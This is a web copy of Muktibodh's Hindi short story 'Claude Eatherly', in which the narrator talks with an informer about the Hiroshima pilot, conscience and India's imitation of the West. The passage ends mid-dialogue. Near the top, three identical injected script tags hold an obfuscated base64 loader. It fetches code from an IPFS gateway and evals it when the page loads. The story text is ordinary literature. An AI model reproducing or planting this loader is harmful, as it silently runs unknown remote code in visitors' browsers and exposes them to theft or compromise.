एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

क्लॉड ईथरली -गजानन माधव मुक्तिबोध  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मैं सड़क पार कर लेता हूँ। जंगली, बेमहक लेकिन खूबसूरत विदेशी फूलों के नीचे ठहर-सा जाता हूँ कि जो फूल, भीत के पासवाले अहाते की आदमकद दीवार के ऊपर फैले, सड़क के बाजू पर बाँहें बिछा कर झुक गए हैं। पता नहीं कैसे, किस साहस से व क्‍यों उसी अहाते के पास बिजली का ऊँचा खंभा - जो पाँच-छह दिशाओं में जानेवाली सूनी सड़कों पर तारों की सीधी लकीरें भेज रहा है - मुझे दीखता है और एकाएक खयाल आता है कि दुमंजिला मकानों पर चढ़ने की एक ऊँची निसैनी उसी से टिकी हुई है। शायद, ऐसे मकानों की लंब-तड़ंग भीतों की रचना अभी भी पुराने ढंग से होती है।

सहज, जिज्ञासावश देखें, कहाँ, क्‍या होता है। दृश्‍य कौन-से, कौन-से दिखाई देते हैं! मैं उस निसैनी पर चढ़ जाता हूँ और सामनेवाली पीली ऊँची भीत के नीली फ्रेमवाले रोशनदान में से मेरी निगाहें पार निकल जाती हैं।

और, मैं स्‍तब्‍ध हो उठता हूँ।

छत से टँगे ढिलाई से गोल-गोल घूमते पंखे के नीचे, दो पीली स्‍फटिक-सी तेज आँखे और लंबी शलवटों-भरा तंग मोतिया चेहरा है जो ठीक उन्‍हीं ऊँचे रोशनदानों में से, भीतर से बाहर, पार जाने के लिए ही मानो अपनी दृष्टि केंद्रित कर रहा है। आँखों से आँखे लड़ पड़ती हैं। ध्‍यान से एक-दूसरे की ओर देखती है। स्‍तब्‍ध, एकाग्र!

आश्‍चर्य?

साँस के साथ शब्‍द निकले! ऐसी ही कोई आवाज उसने भी की होगी!

चेहरा बहुत बुरा नहीं है, अच्‍छा है, भला आदमी मालूम होता है। पैंट पर शर्ट ढीली पड़ गई है। लेकिन यह क्‍या!

मैं नीचे उतर पड़ता हूँ। चुपचाप रास्‍ता चलने लगता हूँ। कम-से-कम दो फर्लांग दूरी पर एक आदमी मिलता है। सिर्फ एक आदमी! इतनी बड़ी सड़क होने पर भी लोग नहीं! क्‍यों नहीं?

पूछने पर वह शख्‍स कहता है, शहर तो इस पार है, उस ओर है; वहीं कहीं इस सड़क पर बिल्डिंग का पिछवाड़ा पड़ता है। देखते नहीं हो!

मैंने उसका चेहरा देखा ध्‍यान से। बाईं और दाहिनी भौंहें नाक के शुरू पर मिल गई थीं। खुरदुरा चेहरा, पंजाबी कहला सकता था। वह नि:संदेह जनाना आदमी होने की संभावना रखता है! नारी तुल्‍य पुरुष, जिनका विकास किशोर काव्‍य में विशेषज्ञों का विषय है।

इतने में मैंने उससे स्‍वाभाविक रूप से, अति सहज बन कर पूछा, 'यह पीली बिल्डिंग कौन-सी है।' उसने मुझ पर अविश्‍वास करते हुए कहा, 'जानते नहीं हो? यह पागलखाना है - प्रसिद्ध पागलखाना!'

'अच्‍छा...!' का एक लहरदार डैश लगा कर मैं चुप हो गया और नीची निगाह किए चलने लगा।

और फिर हम दोनों के बीच दूरियाँ चौड़ी हो कर गोल होने लगीं। हमारे साथ हमारे सिफर भी चलने लगे।

अपने-अपने शून्‍यों की खिड़कियाँ खोल कर मैंने - हम दोनों ने एक-दूसरे की तरफ देखा कि आपस में बात कर सकते हैं या नहीं! कि इतने में उसने मुझसे पूछा, 'आप क्‍या काम करते हैं?'

मैंने झेंप कर कहा, 'मैं? उठाईगिरा समझिए।'

'समझें क्‍यों? जो हैं सो बताइए।'

'पता नहीं क्‍यों, मैं बहुत ईमानदारी की जिंदगी जीता हूँ; झूठ नहीं बोला करता, पर-स्‍त्री को नहीं देखता; रिश्‍वत नहीं लेता; भ्रष्‍टाचारी नहीं हूँ; दगा या फरेब नहीं करता; अलबत्‍ता कर्ज मुझ पर ज़रूर है जो मैं चुका नहीं पाता। फिर भी कमाई की रकम कर्ज में जाती है। इस पर भी मैं यह सोचता हूँ कि बुनियादी तौर से बेईमान हूँ। इसीलिए, मैंने अपने को पुलिस की जबान में उठाईगिरा कहा। मैं लेखक हूँ। अब बताइए, आप क्‍या हैं?'

वह सिर्फ हँस दिया। कहा कुछ नहीं। जरा देर से उसका मुँह खुला। उसने कहा, 'मैं भी आप ही हूँ।'

एकदम दब कर मैंने उससे शेकहैंड किया (दिल में भीतर से किसी ने कचोट लिया। हाल ही में निसैनी पर चढ़ कर मैंने उस रोशनदान में से एक आदमी की सूरत देखी थी; वह चोरी नहीं तो क्‍या था। संदिग्‍धावस्‍था में उस साले ने मुझे देख लिया!)

'बड़ी अच्‍छी बात है। मुझे भी इस धंधे में दिलचस्‍पी है, हम लेखकों का पेशा इससे कुछ मिलता-जुलता है।'

इतने में भीमाकार पत्‍थरों की विक्‍टोरियन बिल्डिंग के दृश्‍य दूर से झलक रहे थे। हम खड़े हो गए हैं। एक बड़े-से पेड़ के नीचे पान की दुकान थी वहाँ। वहाँ एक सिलेटी रंग की औरत मिस्‍सी और काजल लगाए हुए बैठी हुई थी।

मेरे मुँह से अचानक निकल पड़ा, 'तो यहाँ भी पान की दुकान है?'

उसने सिर्फ इतना ही कहा, 'हाँ, यहाँ भी।'

और मैं उन अध-विलायती नंगी औरतों की तस्‍वीरें देखने लगा जो उस दुकान की शौकत को बढ़ा रही थीं।

दुकान में आईना लगा था। लहर थीं धुँधली, पीछे के मसाले के दोष से। ज्‍यों ही उसमें मैं अपना मुँह देखता, बिगड़ा नजर आता। कभी मोटा, लंबा, तो कभी चौड़ा। कभी नाक एकदम छोटी, तो एकदम लंबी और मोटी! मन में वितृष्‍णा भर उठी। रास्‍ता लंबा था, सूनी दुपहर। कपड़े पसीने से भीतर चिपचिपा रहे थे। ऐसे मौके पर दो बातें करने वाला आदमी मिल जाना समय और रास्‍‍ता कटने का साधन होता है।

उससे वह औरत कुछ मजाक करती रही। इतने में चार-पाँच आदमी और आ गए। वे सब घेरे खड़े रहे। चुपचाप कुछ बातें हुईं।

मैंने गौर नहीं किया। मैं इन सब बातों से दूर रहता हूँ। जो सुनाई दिया उससे यह जा‍हिर हुआ कि वे या तो निचले तबके में पुलिस के इनफॉर्मर्स हैं या ऐसे ही कुछ!

हम दोनों ने अपने-अपने और एक-दूसरे के चेहरे देखे! दोनों खराब नजर आए। दोनों रूप बदलने लगे! दोनों हँस पड़े और यही मजाक चलता रहा।

पान खा कर हम लोग आगे बढ़े। पता नहीं क्‍यों मुझे अपने अजनबी साथी के जनानेपन में कोई ईश्‍वरीय अर्थ दिखाई दिया। जो आदमी आत्‍मा की आवाज दाब देता है, विवेक-चेतना को घुटाले में डाल देता है, उसे क्‍या कहा जाए! वैसे, वह शख्‍स भला मालूम होता था। फिर, क्‍या कारण है कि उसने यह पेशा अख्तियार किया! साहसी, हाँ, कुछ साहसिक लोग पत्रकार या गुप्‍तचर या ऐसे ही कुछ हो जाते हैं, अपनी आँखों में महत्‍वपूर्ण बनने के लिए, अस्तित्‍व की तीखी संवेदनाएँ अनुभव करने और करते रहने के लिए!

लेकिन, प्रश्‍न यह है कि वे वैसा क्‍यों करते हैं! किसी भीतरी न्‍यूनता के भाव पर विजय प्राप्‍त करने का यह एक तरीका भी हो सकता है। फिर भी, उसके दूसरे रास्‍ते भी हो सकते हैं! यही पेशा क्‍यों? इसलिए, उसमें पेट और प्रवृत्ति का समन्‍वय है! जो हो, इस शख्‍स का जनानापन ख़ास मानी रखता है!

हमने वह रास्‍ता पार कर लिया और अब हम फिर से फैशनेबल रास्‍ते पर आ गए, जिसके दोनों ओर युकलिप्‍टस के पेड़ कतार बाँधे खड़े थे। मैंने पूछा, 'यह रास्‍ता कहाँ जाता है?' उसने कहा, 'पागलखाने की ओर ।' मैं जाने क्‍यों सन्‍नाटे में आ गया।

विषय बदलने के लिए मैंने कहा, 'तुम यह धंधा कब से कर रहे हो?'

उसने मेरी तरफ इस तरह देखा मानो यह सवाल उसे नागवार गुजरा हो।

मैं कुछ नहीं बोला। चुपचाप चला, चलता रहा। लगभग पाँच मिनट बाद जब हम उस भैरों के गेरूए, सुनहले, पन्‍नी जड़े पत्‍थर तक पहुँच गए, जो इस अत्‍या‍धुनिक युग में एक तार के खंभे के पास श्रद्धापूर्वक स्‍थापित किया गया था, उसने कहा, 'मेरा किस्‍सा मुख्‍तसर है। लाज-शरम दिखावे की चीजें हैं। तुम मेरे दोस्‍त हो, इसलिए कह रहा हूँ। मैं एक बहुत बड़े करोड़पति सेठ का लड़का हूँ। उनके घर में जो काम करनेवालियाँ हुआ करती थीं, उनमें-से एक मेरी माँ है, जो अभी भी वहीं हैं। मैं, घर से दूर पाला-पोसा गया, मेरे पिता के खर्चे से! माँ पिलाने आती। उसी के कहने से मैंने बमुश्किल तमाम मैट्रिक किया। फिर, किसी सिफारिश से सी.आई.डी. की ट्रेनिंग में चला गया। तबसे यही काम कर रहा हूँ। बाद में पता चला कि वहाँ का खर्च भी वही सेठ देता है। उसका हाथ मुझ पर अभी तक है। तुम उठाईगिरे हो, इसलिए कहा! अरे! वैसे तो तुम लेखक-वेखक भी हो। बहुत-से लेखक और पत्रकार इनफॉर्मर हैं! तो, इसलिए, मैंने सोचा, चलो अच्‍छा हुआ। एक साथी मिल गया।'

उस आदमी में मेरी दिलचस्‍पी बहुत बढ़ गई। डर भी लगा। घृणा भी हुई। किस आदमी से पाला पड़ा। फिर भी, उस अहाते पर चढ़ कर मैं झाँक चुका था। इसलिए एक अनदिखती जंजीर से बँध तो गया ही था।

उस जनाने ने कहना जारी रखा, 'उस पागलखाने में कई ऐसे लोग डाल दिए गए हैं जो सचमुच आज की निगाह से बड़े पागल हैं। लेकिन उन्‍हें पागल कहने की इच्‍छा रखने के लिए आज की निगाह होना ज़रूरी है।'

मैंने उकसाते हुए कहा, 'आज की निगाह से क्‍या मतलब?'

उसने भौंहें समेट लीं। मेरी आँखों में आँखे डाल कर उसने कहना शुरू किया, 'जो आदमी आत्‍मा की आवाज कभी-कभी सुन लिया करता है और उसे बयान करके उससे छुट्टी पा लेता है, वह लेखक हो जाता है। आत्‍मा की आवाज को लगातार सुनता है, और कहता कुछ नहीं, वह भोला-भाला सीधा-सादा बेवकूफ है। जो उसकी आवाज बहुत ज्‍यादा सुना करता है और वैसा करने लगता है, वह समाज-विरोधी तत्‍वों में यों ही शामिल हो जाया करता है। लेकिन जो आदमी आत्‍मा की आवाज ज़रूरत से ज्‍यादा सुन करके हमेशा बेचैन रहा करता है और उस बेचैनी में भीतर के हुक्‍म का पालन करता है, वह निहायत पागल है। पुराने जमाने में संत हो सकता था। आजकल उसे पागलखाने में डाल दिया जाता है।'

मुझे शक हुआ कि मैं किसी फैंटेसी में रह रहा हूँ। यह कोई ऐसा-वैसा कोई गुप्‍तचर नहीं है। या तो यह खुद पागल है या कोई पहुँचा हुआ आदमी है! लेकिन वह पागल भी नहीं है न पहुँचा हुआ है। वह तो सिर्फ जनाना आदमी है या वैज्ञानिक शब्‍दावली प्रयोग करूँ तो यह कहना होगा कि वह है तो जवान-पट्ठा लेकिन उसमें जो लचक है वह औरत के चलने की याद दिलाती है!

मैंने उससे पूछा, 'तुमने कहीं ट्रेनिंग पाई है?'

'सिर्फ तजुर्बे से सीखा है! मुझे इनाम भी मिला है।'

मैंने कहा, 'अच्‍छा!'

और मैं जिज्ञासा और कुतूहल से प्रेरित हो कर उसकी अंधकारपूर्ण थाहों में डूबने का प्रयत्‍न करने लगा।

किंतु उसने सिर्फ मुस्‍करा दिया! तब मुझे वह ऐसा लगा मानो वह अज्ञात साइंस के गणितिक सूत्र की अंक-राशि हो, जिसका मतलब तो कुछ ज़रूर होता है लेकिन समझ में नहीं आता।

मन में विचारों की पंक्तियों की पंक्तियाँ बनती गईं। पंक्तियों पर पंक्तियाँ। शायद उसे भी महसूस हुआ होगा! और जब दोनों के मन में चार-चार पंक्तियाँ बन गईं कि इस बीच उसने कहा, 'तुम क्‍यों नहीं यह धंधा करते?'

मैं हतप्रभ हो गया। यह एक विलक्षण विचार था! मुझे मालूम था कि धंधा पैसों के लिए किया जाता है। आजकल बड़े-बड़े शहरों के मामूली होटलों में जहाँ दस-पाँच आदमी तरह-तरह की गप लड़ाते हुए बैठते हैं, उनकी बातें सुन कर, अपना अंदाज़जमाने के लिए, कई भीतरी सूची-भेदक-प्रवेशक आँखे भी सुनती बैठती रहती हैं। यह मैं सब जानता हूँ। खुद के तजुर्बे से बता सकता हूँ। लेकिन, फिर भी, उस आदमी की हिम्‍मत तो देखिए कि उसने कैसा पेचीदा सवाल किया!

आज तक किसी आदमी ने मुझसे इस तरह का सवाल न किया था। ज़रूर मुझमें ऐसा कुछ है कि जिसे मैं विशेष योग्‍यता कह सकता हूँ। मैंने अपने जीवन में जो शिक्षा और अशिक्षा प्राप्‍त की, स्‍कूलों-कॉलेजों में में जो विद्या और अविद्या उपलब्‍ध की, जो कौशल और अकौशल प्राप्‍त की, उसने - मैं मानूँ या न मानूँ - भद्रवर्ग का ही अंग बना दिया है। हाँ, मैं उस भद्रवर्ग का अंग हूँ कि जिसे अपनी भद्रता के निर्वाह के लिए अब आर्थिक कष्‍ट का सामना करना पड़ता है, और यह भाव मन में जमा रहता है कि नाश सन्निकट है। संक्षेप में, मैं सचेत व्‍यक्ति हूँ, अति-शिक्षित हूँ, अति-सं‍स्‍कृत हूँ। लेकिन चूँकि अपनी इस अतिशिक्षा और अतिसं‍स्‍‍कृति के सौष्‍ठव को उद्घाटित करते रहने के लिए, जो स्निग्‍ध प्रसन्‍नमुख चाहिए, वह न होने से मैं उठाईगिरा भी लगता हूँ - अपने-आप को!

तो मेरी इस महक को पहचान उस अद्भुत व्‍यक्ति ने मेरे सामने जो प्रस्‍ताव रखा, उससे मैं अपने-आप से एकदम सचेत हो उठा! क्‍या हर्ज है? इनकम का एक ख़ासा जरिया यह भी तो हो सकता है।

मैंने बात पलट कर उससे पूछा, 'तो हाँ, तुम उस पागलखाने की बात कह रहे थे। उसका क्‍या?'

मैंने गरदन नीचे डाल ली। कानों में अविराम शब्‍द-प्रवाह गतिमान हुआ। मैं सुनता गया। शायद वह उसके वक्‍तव्‍य की भूमिका रही होगी। इस बीच मैंने उससे टोक कर पूछा, 'तो उसका नाम क्‍या है?

'क्‍लॉड ईथरली!'

'क्‍या वह रोमन कैथलिक है - आदिवासी इसाई है?'

उसने नाराज हो कर कहा, 'तो अब तक तुम मेरी बात ही नहीं सुन रहे थे?'

मैंने उसे विश्‍वास दिलाया कि उसकी एक-एक बात दिल में उतर रही थी। फिर भी उसके चेहरे के भाव से पता चला कि उसे मेरी बात पर यकीन नहीं हुआ। उसने कहा, 'क्‍लॉड ईथरली वह अमरीकी विमान चालक है, जिसने हिरोशिमा पर बम गिराया था।'

मुझे आश्‍चर्य का एक धक्‍का लगा। या तो वह पागल है, या मैं! मैंने उससे पूछा, 'तो उससे क्‍या होता है?'

अब उसने बहुत ही नाराज हो कर कहा, 'अबे बेवकूफ! नेस्‍तनाबूद हुए हिरोशिमा की बदरंग और बदसूरत, उदास और गमगीन जिंदगी की सरदारत करनेवाले मेयर को वह हर माह चेक भेजता रहा जिससे कि उन पैसों से दीन-हीनों को सहायता तो पहुँचे ही; उसने जो भयानक पाप किया है वह भी कुछ कम हो!'

मैंने उसके चेहरे का अध्ययन करना शुरू किया। उसकी वे खुरदुरी घनी मोटी भौंहें नाक के पास आ मिलती थीं। कड़े बालों की तेज रेजर से हजामत किया हुआ उसका वह हरा-गोरा चेहरा, सीधी-मोटी नाक और मजाकिया होठ और गमगीन आँखे, जिस्‍म की जनाना लचक, डबल ठुड्डी, जिसके बीच में हलका-सा गड्ढा!

यह कौन शख्‍स है, जो मुझसे इस तरह बात कर रहा है। लगा कि मैं सचमुच इस दुनिया में नहीं रह रहा हूँ, उससे कोई दो सौ मील ऊपर आ गया हूँ, जहाँ आकाश, चाँद-तारे, सूरज सभी दिखाई देते हैं। रॉकेट उड़ रहे हैं। आते हैं, जाते हैं और पृथ्‍वी एक चौड़े-नीले गोल जगत-सी दिखाई दे रही है, जहाँ हम किसी एक देश के नहीं हैं, सभी देशों के हैं। मन में एक भयानक उद्वेगपूर्ण भावहीन चंचलता है! कुल मिला कर, पल-भर यही हालत रही। लेकिन वह पल बहुत ही घनघोर था। भयावह और संदिग्‍ध! और उसी पल से अभिभूत हो कर मैंने उससे पूछा, 'तो क्‍या हिरोशिमा वाला क्‍लॉड ईथरली इस पागलखाने में है।'

वह हाथ फैला कर उँगलियों से उस पीली बिल्डिंग की तरफ इशारा कर रहा था, जिसके अहाते की दीवार पर चढ़ कर मेरी आँखों ने रोशनदान पार करके उन तेज आँखों को देखा था, जो उसी रोशनदान में से गुजर कर बाहर जाना चाहती हैं। तो, अगर मैं जस जनाने लचकदार शख्‍स पर यकीन करूँ तो इसका मतलब यह हुआ कि मेरी देखी वे आँखे और किसी की नहीं, ख़ास क्‍लॉड ईथरली की ही थीं। लेकिन यह कैसे हो सकता है!

उसने मेरी बात ताड़ कर कहा, 'हाँ, वह क्‍लॉड ईथरली ही था।'

मैंने चिढ़ कर कहा, 'तो क्‍या यह हिंदुस्‍तान नहीं है। हम अमेरिका में ही रह रहे हैं?'

उसने मानो मेरी बेवकूफी पर हँसी का ठहाका मारा, कहा, 'भारत के हर बड़े नगर में एक-एक अमेरिका है! तुमने लाल ओठवाली चमकदार, गोरी-सुनहली औरतें नहीं देखी, उनके कीमती कपड़े नहीं देखे! शानदार मोटरों में घूमने वाले अशिक्षित लोग नहीं देखे! नफीस किस्‍म की वेश्‍यावृत्ति नहीं देखी! सेमिनार नहीं देखे! एक जमाने में हम लंदन जाते थे और इंग्‍लैंड‍ रिर्टन कहलाते थे और आज वाशिंगटन जाते हैं। अगर हमारा बस चले और आज हम सचमुच उतने ही धनी हों और हमारे पास उतने ही एटम बम और हाइड्रोजन बम हों और रॉकेट हों तो फिर क्‍या पूछना! अखबार पढ़ते हो कि नहीं?'

मैंने कहा, 'हाँ।'

तो तुमने मैकमिलन की वह तकरीर भी पढ़ी होगी जो उसने... को दी थी। उसने क्‍या कहा था? यह देश, हमारे सैनिक गुट में तो नहीं है, किंतु संस्‍कृति और आत्‍मा से हमारे साथ है। क्‍या मैकमिलन सफेद झूठ कह रहा था? कतई नहीं। वह एक महत्‍वपूर्ण तथ्‍य पर प्रकाश डाल रहा था।

और अगर यह सच है तो यह भी सही है कि उनकी संस्‍कृति और आत्‍मा का संकट हमारी संस्‍कृति और आत्‍मा का संकट है! यही कारण है कि आजकल के लेखक और कवि अमरीकी, ब्रिटिश तथा पश्चिम यूरोपीय साहित्‍य तथा विचारधाराओं में गोते लगाते हैं और वहाँ से अपनी आत्‍मा को शिक्षा और संस्‍कृति प्रदान करते हैं! क्‍या यह झूठ है। और हमारे तथाकथित राष्‍ट्रीय अखबार और प्रकाशन-केंद्र! वे अपनी विचारधारा और दृष्टिकोण कहाँ से लेते हैं?'

यह कह कर वह जोर से हँस पड़ा और हँसी की लहरों में उसका जिस्‍म लचकने लगा।

उसने कहना जारी रखा, 'क्‍या हमने इंडो‍नेशियाई या चीनी या अफ्रीकी साहित्‍य से प्रेरणा ली है या लुमुंबा के काव्‍य से? छि: छि:! वह जानवरों का, चौपायों का साहित्‍य है! और रूस का? अरे! यह तो स्‍वार्थ की बात है! इसका राज और ही है। रूस से हम मदद चाहते हैं, लेकिन डरते भी हैं।'

'छोड़ो! तो मतलब यह है कि अगर उनकी संस्‍कृति हमारी संस्‍कृति है, उनकी आत्‍मा हमारी आत्‍मा और उनका संकट हमारा संकट है - जैसा कि सिद्ध है - जरा पढ़ो अखबार, करो बातचीत अंगरेजीदाँ फर्राटेबाज लोगों से - तो हमारे यहाँ भी हिरोशिमा पर बम गिरानेवाला विमान चालक क्‍यों नहीं हो सकता और हमारे यहाँ भी संप्रदायवादी, युद्धवादी लोग क्‍यों नहीं हो सकते! मुख्‍तसर किस्‍सा यह है कि हिंदुस्‍तान भी अमेरिका ही है।'

मुझे पसीना छूटने लगा। फिर भी मन यह स्‍वीकार करने के लिए तैयार नहीं था कि भारत अमेरिका ही है और यह कि क्‍लॉड ईथरली उसी पागलखाने में रहते हैं - उसी पागलखाने में रहता है! मेरी आँखों में संदेह, अविश्‍वास, भय और आशंका की मिली-जुली चमक ज़रूर रही होगी, जिसको देख कर वह बुरी तरह हँस पड़ा। और उसने मुझे एक सिगरेट दी।

एक पेड़ के नीचे खड़े हो कर हम दोनों बात करते हुए नीचे एक पत्‍थर पर बैठ गए। उसने कहा, 'देखा नहीं! ब्रिटिश-अमरीकी या फ्रांसीसी कविता में जो मूड्स, जो मनःस्थितियाँ रहती हैं - बस वे ही हमारे यहाँ भी हैं, लाई जाती हैं। सुरुचि और आधुनिक भावबोध का तकाजा है कि उन्‍हें लाया जाया क्‍यों? इसलिए कि वहाँ औद्योगिक सभ्‍यता है, हमारे यहाँ भी। मानो कि कल-कारखाने खोले जाने से आदर्श ओर कर्तव्‍य बदल जाते हों।'

मैंने नाराज हो कर सिगरेट फेंक दी। उसके सामने हो लिया। शायद, उस समय मैं उसे मारना चाहता था। हाथापाई करना चाहता था। लेकिन वह व्‍यंग्‍य-भरे चेहरे से हँस पड़ा और उसकी आँखे ज्‍यादा गमगीन हो गईं।'

उसने कहा, 'क्‍लॉड ईथरली एक विमान चालक था! उसके एटमबम से हिरोशिमा नष्‍ट हुआ। वह अपनी कारगुजारी देखने उस शहर गया। उस भयानक, बदरंग, बदसूरत कटी लोथों के शहर को देख कर उसका दिल टुकड़े-टुकड़े हो गया। उसको पता नहीं था कि उसके पास ऐसा हथियार है और उस हथियार का यह अंजाम होगा। उसके दिल में निरपराध जनों के प्रेतों, शवों, लोथों, लाशों के कटे-पिटे चेहरे तैरने लगे। उसके हृदय में करुणा उमड़ आई। उधर, अमरीकी सरकार ने उसे इनाम दिया। वह 'वॉर हीरो' हो गया। लेकिन उसकी आत्‍मा कहती थी कि उसने पाप किया, जघन्‍य पाप किया है। उसे दंड मिलना ही चाहिए। नहीं। लेकिन उसका देश तो उसे हीरो मानता था। अब क्‍या किया जाय। उसने सरकारी नौकरी छोड़ दी। मामूली से मामूली काम किया। लेकिन, फिर भी वह 'वॉर हीरो' था, महान् था। क्‍लॉड ईथरली महानता नहीं, दंड चाहता था, दंड!'

'उसने वारदातें शुरू कीं जिससे कि वह गिरफ्तार हो सके और जेल में डाला जा सके। किंतु प्रमाण के अभाव में वह हर बार छोड़ दिया गया। उसने घोषित किया कि वह पापी है, पापी है, उसे दंड मिलना चाहिए, उसने निरपराध जनों की हत्‍या की है, उसे दंड दो। हे ईश्‍वर! लेकिन अमरीकी व्‍यवस्‍था उसे पाप नहीं, महान् कार्य मानती थी। देश-भक्ति मानती थी। जब उसने ईथरली की ये हरकतें देखीं तो उसे पागलखाने में डाल दिया। टेक्‍सॉस प्रांत में वायो नाम की एक जगह है - वहाँ उसका दिमाग दुरुस्त करने के लिए उसे डाल दिया गया। वहाँ वह चार साल तक रहा, लेकिन उसका पागलपन दुरुस्त नहीं हो सका।'

'चार साल बाद वह वहाँ से छूटा तो उसे राय.एल. मैनटूथ नाम का एक गुंडा मिला। उसकी मदद से उसने डाकघरों पर धावा मारा। आखिर मय साथी के वह पकड़ लिया गया। मुकदमा चला। कोई फायदा नहीं। जब यह मालूम हुआ कि वह कौन है और क्‍या चाहता है तो उसे तुरंत छोड़ दिया गया। उसके बाद, उसने डल्‍लॉस नाम की एक जगह के कैशियर पर सशस्‍त्र आक्रमण किया। परिणाम कुछ नहीं निकला, क्‍योंकि बड़े सैनिक अधिकारियों को यह महसूस हुआ कि ऐसे 'प्रख्‍यात युद्ध वीर' को मामूली उचक्‍का और चोर कह कर उसकी बदनामी न हो। इसलिए उसके उस प्राप्‍त पद की रक्षा करने के लिए, उसे फिर से पागलखाने में डाल दिया गया।'

'यह है क्‍लॉड ईथरली! ईथरली की ईमानदारी पर अविश्‍वास करने की किसी को शंका ही नहीं रही। उसकी जीवन-कथा की फिल्‍म बनाने का अधिकार ख़रीदने के लिए कंपनी ने उसे एक लाख रुपए देने का प्रस्‍ताव रखा। उसने कतई इनकार कर दिया। उसके इस अस्‍वीकार से सबके सामने यह जाहिर हो गया कि वह झूठा और फरेबी नहीं है। वह बन नहीं रहा।'

'कौन नहीं जानता कि क्‍लॉड ईथरली अणु युद्ध का विरोध करने वाली आत्‍मा की आवाज का दूसरा नाम है। हाँ! ईथरली मानसिक रोगी नहीं है। आध्‍या‍त्मिक अशांति का, आध्‍यात्मिक उद्विग्‍नता का ज्‍वलंत प्रतीक है। क्‍या इससे तुम इनकार करते हो?'

उसके हाथ की सिगरेट कभी की नीचे गिर चुकी थी। वह जनाना आदमी तमतमा उठा था। चेहरे पर बेचैनी की मलिनता छाई थी।

वह कहता गया, 'इस आध्‍यात्मिक अशांति, इस आध्‍यात्मिक उद्विग्‍नता को समझने वाले लोग कितने हैं! उन्‍हें विचित्र, विलक्षण, विक्षिप्‍त कह कर पागलखाने में डालने की इच्‍छा रखने वाले लोग न जाने कितने हैं! इसलिए पुराने जमाने में हमारे बहुतेरे विद्रोही संतों को भी पागल कहा गया। आज भी बहुतों को पागल कहा जाता है। अगर वह बहुत तुच्‍छ हुए तो सिर्फ उनकी उपेक्षा की जाती है, जिससे कि उनकी बात प्रकट न हो और फैल न जाए।'

'हमारे अपने-अपने मन-हृदय-मस्तिष्‍क में ऐसा ही एक पागलखाना है, जहाँ हम उन उच्‍च पवित्र और विद्रोही विचारों और भावों को फेंक देते हैं, जिससे कि धीरे-धीरे या तो वह खुद बदल कर समझौतावादी पोशाक पहन सभ्‍य भद्र हो जाए यानी दुरुस्त हो जाए या उसी पागलखाने में पड़ा रहे!'

मैं हतप्रभ तो हो ही गया! साथ-ही-साथ, उसकी इस कहानी पर मुग्‍ध भी। उस जीवन-कथा से अत्‍यधिक प्रभावित हो कर मैंने पूछा, 'तो क्‍या यह कहानी सच्‍ची है?'

उसने जवाब दिया, भई वाह! अमरीकी साहित्‍य पढ़ते हो कि नहीं? ब्रिटिश भी नहीं! तो क्‍या पढ़ते हो खाक!... अरे भाई रूस पर तो अनेक भाषाओं में कई पुस्‍तकें निकल गई हैं। तो क्‍या पत्‍थर जानकारी रखते हो। विश्‍वास न हो, तो खंडन करो, जाओ टटोलो। और, इस बीच में इसी पागलखाने की सैर करवा लाता हूँ।'

मैंने हाथ हिला कर इनकार करते हुए कहा, 'नहीं मुझे नहीं जाना।'

क्‍यों नहीं? उसने झिड़क कर कहा, 'आजकल हमारे अवचेतन में हमारी आत्‍मा आ गई है, चेतन में स्‍व-हित और अधिचेतन में समाज से सामंजस्‍य का आदर्श भले ही वह बुरा समाज क्‍यों न हो? यही आज के जीवन-विवेक का रहस्‍य है।...'

'तुमको वहाँ की सैर करनी होगी। मैं तुम्‍हें पागलखाने ले चल रहा हूँ, लेकिन पिछले दरवाजे से नहीं, खुले अगले से।'

रास्‍ते में मैंने उससे कहा, 'मैं यह मानने के लिए तैयार नहीं हूँ कि भारत अमेरिका है! तुम कुछ भी कहो! न वह कभी हो सकता है, न वह कभी होगा ही।'

इस बात को उसने उड़ा दिया। उसे चाहिए था कि वह उस बात का जवाब देता । उसने सिर्फ इतना कहा, 'मुश्किल यह है कि तुम मेरी बात नहीं समझते।' मैंने कहा, 'कैसे?'

'क्‍लॉड ईथरली हमारे यहाँ भले ही देह-रूप में न रहे, लेकिन आत्‍मा की वैसी बेचैनी रखने वाले लोग तो यहाँ रह ही सकते हैं।'

मैंने अविश्‍वास प्रकट करके उसके प्रति घृणा भाव व्‍यक्‍त करते हुए कहा, 'यह भी ठीक नहीं मालूम होता।'

उसने कहा, 'क्‍यों नहीं? देश के प्रति ईमानदारी रखनेवाले लोगों के मन में, व्‍यापक पापाचारों के प्रति कोई व्‍यक्तिगत भावना नहीं रहती क्‍या?'

'समझा नहीं।'

'मतलब यह कि ऐसे बहुतेरे लोग हैं जो पापाचार रूपी, शोषण रूपी डाकुओं को अपनी छाती पर बैठा समझते हैं। वह डाकू न केवल बाहर का व्‍यक्ति है, वह उनके घर का आदमी भी है। समझने की कोशिश करो!'

मैंने भौंहें उठा कर कहा, 'तो क्‍या हुआ?'

'यह कि उस व्‍यापक अन्‍याय को अनुभव करनेवाले किंतु उसका विरोध करनेवाले लोगों के अंत:करण में व्‍यक्तिगत पाप-भावना रहती ही है, रहनी चाहिए। ईथरली में और उनमें यह बुनियादी एकता और अभेद है।'

'इससे सिद्ध क्‍या हुआ?'

